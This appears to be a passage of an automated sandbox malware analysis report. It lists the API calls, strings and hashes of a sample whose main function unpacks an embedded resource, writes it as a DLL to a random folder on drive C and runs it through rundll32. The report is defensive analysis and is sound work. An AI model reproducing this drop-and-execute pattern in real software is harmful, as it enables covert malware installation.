CloseHandle.KERNEL32(00000000), ref: 00401BA9
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00401BFA
wsprintfA.USER32 ref: 00401C21
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00401C5C

Strings

c:\%s, xrefs: 00401B25
D, xrefs: 00401C37
IMAGE, xrefs: 00401A39
%s "%s",QueryPluginInterface %s, xrefs: 00401C1B
c:\windows\system32\rundll32.exe, xrefs: 00401BB1
%s\%s.dll, xrefs: 00401B6E

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: Resource$CreateFilewsprintf$CloseDirectoryFindHandleLoadLockModuleNameProcessSizeofSleepWritememcpymemset
String ID: %s "%s",QueryPluginInterface %s$%s\%s.dll$D$IMAGE$c:\%s$c:\windows\system32\rundll32.exe
API String ID: 729933531-2732814730
Opcode ID: a011a6132aa91ba2efff9dd4d5e13aad28595f414ba8ab3d4d84eb12781f2273
Instruction ID: 922f0755652aa06ef568071101b0f14043c98d7905c641deb23ee6d51d764bee
Opcode Fuzzy Hash: a011a6132aa91ba2efff9dd4d5e13aad28595f414ba8ab3d4d84eb12781f2273
Instruction Fuzzy Hash: F86193B2A00248BEDB119BF4CD45FDFBBBCAB89304F1044BAF345B6181DA749A458F65

Function 00401F19 Relevance: 36.2, APIs: 24, Instructions: 151
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_EH_prolog.MSVCRT ref: 00401F1E
#4710.MFC42 ref: 00401F2B
GetSystemMenu.USER32(?,00000000), ref: 00401F36
#2863.MFC42(00000000), ref: 00401F3D
#540.MFC42(00000000), ref: 00401F4C
#4160.MFC42(00000065,00000000), ref: 00401F5B
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 00401F79
AppendMenuA.USER32(?,00000000,00000010,?), ref: 00401F85
#800.MFC42(00000065,00000000), ref: 00401F90
SendMessageA.USER32(?,00000080,00000001,?), ref: 00401FB1
SendMessageA.USER32(?,00000080,00000000,?), ref: 00401FBF
#823.MFC42(00000128), ref: 00401FC6
#2086.MFC42(00000082), ref: 00401FFE
#6215.MFC42(00000005,00000082), ref: 0040200F
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402021
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402033
SendMessageA.USER32(?,00001037,00000000,00000000), ref: 00402042
SendMessageA.USER32(?,00001036,00000000,00000000), ref: 00402050
#3996.MFC42(00000000,00406328,00000000,00000028,000000FF), ref: 00402065
#3996.MFC42(00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040207C
#3996.MFC42(00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000,00406328,00000000,00000028,000000FF), ref: 0040208E
#3996.MFC42(00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001,00406320,00000000,0000008C,000000FF,00000000), ref: 004020A1
#3996.MFC42(00000004,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF,00000001), ref: 004020B4
InitializeCriticalSection.KERNEL32(?,00000004,00406308,00000000,00000064,000000FF,00000003,00406310,00000000,00000037,000000FF,00000002,00406318,00000000,0000008C,000000FF), ref: 004020C0

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: MessageSend$#3996$Menu$Append$#2086#2863#4160#4710#540#6215#800#823CriticalH_prologInitializeSectionSystem
String ID:
API String ID: 2371848494-0
Opcode ID: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction ID: 22c113c14c16facbbd4b385fd64242b7c064b1ff54e6b864585585fb015a5088
Opcode Fuzzy Hash: bf1e5139828ca2f7575a42d4d539cb4ceebe527546bc2a5505485d4eded29568
Instruction Fuzzy Hash: 1B41E6B02407097BE6257B21CC86F6F769DFB84798F10063DF2A5761E1CBB96C008A68

Function 0040141D Relevance: 13.6, APIs: 9, Instructions: 75
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SendMessageA.USER32(?), ref: 0040144F
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040145E
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040146D
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040148D
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401499
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014AB
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004014C7
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004014D3
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004014E5

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction ID: bb5fe5f59efd3e526b113e407ce870d9a6257fa786e4d84f1a1b66b5d905c888
Opcode Fuzzy Hash: ad132ba9e6c3f3ed83570c34e1da1694867b5aed1bc06737ede0cc76b482b387
Instruction Fuzzy Hash: 6B215B7161434DBFE721AF24CC80FABBFADFB44394F40052AB59852060C7716C28CBA1

Function 004014F5 Relevance: 13.6, APIs: 9, Instructions: 75windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 00401527
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401536
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401545
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 00401565
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 00401571
SendMessageA.USER32(?,000000B6,00000000,?), ref: 00401583
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 0040159F
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004015AB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004015BD

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction ID: d9274a69ea71e40b52450c2f1abff6bb4cc12b44bfabd653b35ee0167fd8c358
Opcode Fuzzy Hash: 99b8175f4789665816ee58ce95148e85964884c2d1b05ba2febfe70cb83b4eb1
Instruction Fuzzy Hash: 5A213B7161435DBFEB11AF25CC80FABBFADFB44384F40052AB59852160D7716D289BA1

Function 00401349 Relevance: 13.6, APIs: 9, Instructions: 74windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?), ref: 0040137B
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 0040138A
SendMessageA.USER32(?,000000CE,00000000,00000000), ref: 00401399
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013B5
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013C1
SendMessageA.USER32(?,000000B6,00000000,?), ref: 004013D3
SendMessageA.USER32(?,000000B1,00000000,00000000), ref: 004013EF
SendMessageA.USER32(?,000000B7,00000000,00000000), ref: 004013FB
SendMessageA.USER32(?,000000B6,00000000,?), ref: 0040140D

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction ID: 56a25f80e609cbd08b066c68ee1e37c059073ee632eaa49d0b548e2ccd918b9e
Opcode Fuzzy Hash: 305f06924834a9908d84543f76578ecc6405ed01a93ac79d48c62636bf4700f6
Instruction Fuzzy Hash: 49215CB160535DBFEB21AF258C80FABFFADFB44394F00052AB59852060C7716D28DBA1

Function 00401000 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401005
#324.MFC42(00000082,?), ref: 0040101B
#567.MFC42(00000082,?), ref: 00401029
#567.MFC42(00000082,?), ref: 00401041
#567.MFC42(00000082,?), ref: 00401054
CreateSolidBrush.GDI32(00FFFFFF), ref: 00401066

Strings

D@, xrefs: 0040102E

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #567$#324BrushCreateH_prologSolid
String ID: D@
API String ID: 1271399592-116940557
Opcode ID: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction ID: 13884b46de095b52d8f8717c358092e8eec3470aa280cab25804e1b70b61f98b
Opcode Fuzzy Hash: a93d2b0ed926015932f3efea9d707e5f8f5c25ad2ce72d1844b1993bb421de03
Instruction Fuzzy Hash: 9D01FCB16003549BDB209F69C58978EBBE0FF81348F00443EE9926B2C2C7B85A08D765

Function 00402226 Relevance: 10.5, APIs: 7, Instructions: 46windowCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402237
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00402252
#3286.MFC42(-00000001,?,?,?,?,?,00402216), ref: 00402261
#825.MFC42(?,-00000001,?,?,?,?,?,00402216), ref: 0040226F
#825.MFC42(00000000,?,-00000001,?,?,?,?,?,00402216), ref: 00402275
SendMessageA.USER32(?,00001008,-00000001,00000000), ref: 0040228A
LeaveCriticalSection.KERNEL32(?,?,?,?,?,00402216), ref: 00402294

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #825CriticalMessageSectionSend$#3286EnterLeave
String ID:
API String ID: 2141797828-0
Opcode ID: 323f0198a590fc7c46d0ed78c3b8e8f05eec79b14fe5701699f0680afc707adc
Instruction ID: b9e60a6790c5ed3c642633d5835f906307b00da717bc424c3a2b37c864f405ef
Opcode Fuzzy Hash: 323f0198a590fc7c46d0ed78c3b8e8f05eec79b14fe5701699f0680afc707adc
Instruction Fuzzy Hash: 64F0F472205215BFE2156B61EE09F8BBB58FF84321F10013BF709B20E19BF4680096A8

Function 00401E2A Relevance: 10.5, APIs: 7, Instructions: 42windowCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401E2F
#324.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E41
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E4F
#567.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E66
#1168.MFC42(00000066,?,?,?,?,00401C92,00000000), ref: 00401E91
#1146.MFC42(00000080,0000000E,00000080,00000066,?,?,?,?,00401C92,00000000), ref: 00401E9F
LoadIconA.USER32(00000000,00000080), ref: 00401EA5

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #567$#1146#1168#324H_prologIconLoad
String ID:
API String ID: 2995884226-0
Opcode ID: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction ID: 6195de06ed0686a01f6ea18af6a3778e2a15774cd3760b5cb09f72b4f9ec5dc5
Opcode Fuzzy Hash: e9fea58024a95a92706cb3ea0515c02a4b245b0f3a3af034628e2e1244cc45d7
Instruction Fuzzy Hash: EF01C0B1A00384AAD711EB65C50979FBBA4FF91308F00887EE586732C1C7F81604D7A9

Function 0040174F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00401768
srand.MSVCRT ref: 0040176F
rand.MSVCRT ref: 0040177C
rand.MSVCRT ref: 00401794

Strings

ekimhuqcroanflvzgdjtxypswb, xrefs: 0040175B

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: rand$CountTicksrand
String ID: ekimhuqcroanflvzgdjtxypswb
API String ID: 3923125369-3762667353
Opcode ID: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction ID: 0f0927eb61d3c32e8c18992b3a3ed773e98e9a1b9926048b9e47f112dc32a9e4
Opcode Fuzzy Hash: 759b461be63a90c0a6722cfee258f62135b3283f7b68fc9f86cb98f3e6b20c4e
Instruction Fuzzy Hash: 1FF04C33B0030457C7107F6A6984D9BBB999BC9720F01403EFE046B281C6B5940286B4

Function 00401D6F Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401D74
#324.MFC42(00000064,00000000), ref: 00401D85
#540.MFC42(00000064,00000000), ref: 00401D93
#860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

Strings

RedTom21@HotMail.com, xrefs: 00401D98

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #324#540#860H_prolog
String ID: RedTom21@HotMail.com
API String ID: 1715175771-4020391281
Opcode ID: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction ID: 78d62cf22874564550b960a1e2f1980c8c55d506c68ef3259133a31bc2e11175
Opcode Fuzzy Hash: 2e6038b0c2a3161042f3a77bc08ef84b8c52d66f33703c1b03fec492057627b6
Instruction Fuzzy Hash: 9FE06571B403509BD714AB99C50A79EB6A9EF91714F10447FA902773C1C7FC6E009699

Function 004024DF Relevance: 7.6, APIs: 5, Instructions: 57COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 004024F1
_ftol.MSVCRT ref: 00402517
_ftol.MSVCRT ref: 00402525
#4299.MFC42(0000000F,00000041,?,?,00000001), ref: 00402549
#4299.MFC42(0000000F,?,?,000000F1,00000001), ref: 0040256B

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #4299_ftol$ClientRect
String ID:
API String ID: 3171108694-0
Opcode ID: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction ID: 3880c801f612beb6246e745b78d7e2d3a19b48e5053d162d2e00decfba834721
Opcode Fuzzy Hash: 5b5269a8b2c3e4b0ac480d2bf8ec9612011b5aad8df481b47eb0e60a219a1807
Instruction Fuzzy Hash: C51151B1A00209BFDB10DBA9DE59BAEB778FF40744F10027AF501B61E5D7B49D40DA28

Function 004020DA Relevance: 7.5, APIs: 5, Instructions: 24COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004020DF
#2379.MFC42 ref: 00402125

Part of subcall function 00401D6F: _EH_prolog.MSVCRT ref: 00401D74
Part of subcall function 00401D6F: #324.MFC42(00000064,00000000), ref: 00401D85
Part of subcall function 00401D6F: #540.MFC42(00000064,00000000), ref: 00401D93
Part of subcall function 00401D6F: #860.MFC42(RedTom21@HotMail.com,00000064,00000000), ref: 00401DA9

#2514.MFC42 ref: 00402103
#800.MFC42 ref: 00402112
#641.MFC42 ref: 0040211E

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: H_prolog$#2379#2514#324#540#641#800#860
String ID:
API String ID: 1337987987-0
Opcode ID: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction ID: 0c37060d93abf7ffef3ab529cf96d0046ab1b8bea522c7ef1cdfd7726eb284c9
Opcode Fuzzy Hash: a4f86554920c1d60b447a310fd9ec504fb6ed513b6fab3962996ee4d40a29264
Instruction Fuzzy Hash: 09F0FE71810518DADB25EFA5C65A7ACB730BF20314F60417FA412761D2DBBC5A09CA59

Function 004010A8 Relevance: 7.5, APIs: 5, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 004010AD
#656.MFC42(?,?,00401094), ref: 004010C6
#656.MFC42(?,?,00401094), ref: 004010D5
#656.MFC42(?,?,00401094), ref: 004010E1
#641.MFC42(?,?,00401094), ref: 004010EC

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #656$#641H_prolog
String ID:
API String ID: 2321568657-0
Opcode ID: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction ID: e680012da702e7b92035de08c4d7561f67a84a50463a6348afc1be6ddfe969e7
Opcode Fuzzy Hash: 2301cf39d9f84a458cdb1385a3b7908f8fb3180347b8e91d03edffd7431175f3
Instruction Fuzzy Hash: 5DF03071915654DADB2CEBA5CA197DDBBA4BF04318F00456FE066732C2CBF81B08C755

Function 004015CD Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

#2379.MFC42 ref: 004015D2
#4299.MFC42(00000000,00000000,00000028,?,00000001), ref: 00401602
#4299.MFC42(00000032,00000000,0000012C,?,00000001), ref: 00401624
#4299.MFC42(00000168,00000000,00000000,?,00000001), ref: 00401645

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #4299$#2379
String ID:
API String ID: 453929936-0
Opcode ID: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction ID: 396461380f4f282afe083d313e8dd4ae14482c7760a999395c5db5fab6d4a27c
Opcode Fuzzy Hash: dc378f647d04030cb087140241a589892729b93da9fee3e182db44f2421a5fcb
Instruction Fuzzy Hash: AF01B131240700ABD5318A59CC81FABB3AAAFC4B05F280E2FF183391D1D7BB8841C619

Function 00401CEC Relevance: 6.0, APIs: 4, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401CF1
#693.MFC42(?,?,00401CDE), ref: 00401D19
#609.MFC42(?,?,00401CDE), ref: 00401D25
#641.MFC42(?,?,00401CDE), ref: 00401D30

Memory Dump Source

Source File: 00000000.00000002.1349018329.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1349004609.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349053835.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349132324.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349152316.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1349170685.0000000000414000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_XgijTrY6No.jbxd

Similarity

API ID: #609#641#693H_prolog
String ID:
API String ID: 432028610-0
Opcode ID: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction ID: c1b141184ca5cae31352d23a373f4eac66a41ce64f7327093406d0e5d71bec99
Opcode Fuzzy Hash: 8fceb26bd7cd2eda50943f19653515a01d97790802a6fa3cf18d9ab7d8ca528c
Instruction Fuzzy Hash: F3F0A070920664DACB18FBA4C6193DDBBB8AF14308F00466FA062732C2CBF81B04C795

Analysis Process: mszcy.exePID: 7540, Parent PID: 7428COMMON

Execution Graph

Execution Coverage:	12%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	275
Total number of Limit Nodes:	5

Executed Functions

Function 00401A2D Relevance: 38.7, APIs: 16, Strings: 6, Instructions: 209
filesleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceA.KERNEL32(00000000,00000084,IMAGE), ref: 00401A46
LoadResource.KERNEL32(00000000,00000000), ref: 00401A54
SizeofResource.KERNEL32(00000000,00000000), ref: 00401A69
LockResource.KERNEL32(00000000,00000000), ref: 00401A74
memcpy.MSVCRT(00000000,00000000), ref: 00401A7C
wsprintfA.USER32 ref: 00401B2B
CreateDirectoryA.KERNELBASE(?,00000000), ref: 00401B38
Sleep.KERNELBASE(00000064), ref: 00401B40
memset.MSVCRT ref: 00401B4D
wsprintfA.USER32 ref: 00401B74
CreateFileA.KERNELBASE(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 00401B90
WriteFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 00401BA2
CloseHandle.KERNEL32(00000000), ref: 00401BA9
GetModuleFileNameA.KERNELBASE(00000000,?,00000104), ref: 00401BFA
wsprintfA.USER32 ref: 00401C21
CreateProcessA.KERNELBASE(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00401C5C

Strings

c:\windows\system32\rundll32.exe, xrefs: 00401BB1
c:\%s, xrefs: 00401B25
